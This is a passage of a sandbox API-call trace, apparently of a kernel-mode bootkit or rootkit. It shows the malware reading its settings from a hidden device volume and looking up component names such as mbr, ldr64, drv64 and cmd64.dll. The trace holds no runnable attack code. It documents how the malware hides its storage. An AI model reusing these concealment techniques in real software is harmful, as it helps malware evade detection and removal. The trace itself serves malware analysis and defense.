ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.326] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.326] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.326] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.326] KeEnterCriticalRegion () [0124.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.326] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.326] IdePortDispatch () returned 0x103 [0124.326] KeWaitForMutexObject () returned 0x0 [0124.327] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.327] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.327] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.327] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.327] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.327] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0640 [0124.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.327] KeLeaveCriticalRegion () [0124.327] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.327] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.327] KeEnterCriticalRegion () [0124.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.327] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.327] KeLeaveCriticalRegion () [0124.327] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.327] KeEnterCriticalRegion () [0124.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.327] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.327] IdePortDispatch () returned 0x103 [0124.327] KeWaitForMutexObject () returned 0x0 [0124.327] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.327] KeLeaveCriticalRegion () [0124.327] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.327] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.327] KeEnterCriticalRegion () [0124.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.327] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003534000 [0124.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.327] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.327] IdePortDispatch () returned 0x103 [0124.328] KeWaitForMutexObject () returned 0x0 [0124.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.328] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.328] IdePortDispatch () returned 0x103 [0124.328] KeWaitForMutexObject () returned 0x0 [0124.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.328] KeLeaveCriticalRegion () [0124.328] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.328] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.329] KeEnterCriticalRegion () [0124.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.329] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.329] KeLeaveCriticalRegion () [0124.329] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.329] KeEnterCriticalRegion () [0124.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.329] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.329] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.329] KeLeaveCriticalRegion () [0124.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.329] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.329] KeEnterCriticalRegion () [0124.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.329] ExFreePoolWithTag (P=0xfffffa8003bf0640, Tag=0x0) [0124.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.329] KeLeaveCriticalRegion () [0124.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.329] ReleaseMutex (hMutex=0xf0) returned 1 [0124.329] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.329] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.329] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.329] KeEnterCriticalRegion () [0124.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.329] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.329] IdePortDispatch () returned 0x103 [0124.329] KeWaitForMutexObject () returned 0x0 [0124.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.329] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.329] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.329] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.329] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.329] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf02e0 [0124.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.330] KeLeaveCriticalRegion () [0124.330] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.330] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.330] KeEnterCriticalRegion () [0124.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.330] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.330] KeLeaveCriticalRegion () [0124.330] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.330] KeEnterCriticalRegion () [0124.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.330] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.330] IdePortDispatch () returned 0x103 [0124.330] KeWaitForMutexObject () returned 0x0 [0124.330] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.330] KeLeaveCriticalRegion () [0124.330] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.330] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.330] KeEnterCriticalRegion () [0124.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.330] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003535000 [0124.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.330] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.330] IdePortDispatch () returned 0x103 [0124.331] KeWaitForMutexObject () returned 0x0 [0124.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.331] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.331] IdePortDispatch () returned 0x103 [0124.331] KeWaitForMutexObject () returned 0x0 [0124.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.331] KeLeaveCriticalRegion () [0124.331] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.331] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.331] KeEnterCriticalRegion () [0124.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.331] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.331] KeLeaveCriticalRegion () [0124.331] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.332] KeEnterCriticalRegion () [0124.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.332] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.332] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.332] KeLeaveCriticalRegion () [0124.332] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.332] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.332] KeEnterCriticalRegion () [0124.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.332] ExFreePoolWithTag (P=0xfffffa8003bf02e0, Tag=0x0) [0124.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.332] KeLeaveCriticalRegion () [0124.332] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.332] ReleaseMutex (hMutex=0xf0) returned 1 [0124.332] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.332] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.332] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.332] KeEnterCriticalRegion () [0124.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.332] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.332] IdePortDispatch () returned 0x103 [0124.332] KeWaitForMutexObject () returned 0x0 [0124.332] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.332] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.332] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.332] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.332] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.332] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef60 [0124.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.332] KeLeaveCriticalRegion () [0124.332] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.332] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.332] KeEnterCriticalRegion () [0124.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.333] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.333] KeLeaveCriticalRegion () [0124.333] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.333] KeEnterCriticalRegion () [0124.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.333] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.333] IdePortDispatch () returned 0x103 [0124.333] KeWaitForMutexObject () returned 0x0 [0124.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.333] KeLeaveCriticalRegion () [0124.333] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.333] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.333] KeEnterCriticalRegion () [0124.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.333] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003536000 [0124.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.333] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.333] IdePortDispatch () returned 0x103 [0124.333] KeWaitForMutexObject () returned 0x0 [0124.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.334] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.334] IdePortDispatch () returned 0x103 [0124.334] KeWaitForMutexObject () returned 0x0 [0124.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.334] KeLeaveCriticalRegion () [0124.334] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.334] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.334] KeEnterCriticalRegion () [0124.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.334] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.334] KeLeaveCriticalRegion () [0124.334] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.334] KeEnterCriticalRegion () [0124.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.334] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.334] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.334] KeLeaveCriticalRegion () [0124.334] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.335] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.335] KeEnterCriticalRegion () [0124.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.335] ExFreePoolWithTag (P=0xfffffa8003beef60, Tag=0x0) [0124.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.335] KeLeaveCriticalRegion () [0124.335] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.335] ReleaseMutex (hMutex=0xf0) returned 1 [0124.335] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.335] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.335] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.335] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.335] KeEnterCriticalRegion () [0124.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.335] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.335] IdePortDispatch () returned 0x103 [0124.335] KeWaitForMutexObject () returned 0x0 [0124.335] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.335] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.335] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.335] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.335] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.335] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.335] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.335] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.335] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.335] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.335] KeLeaveCriticalRegion () [0124.335] 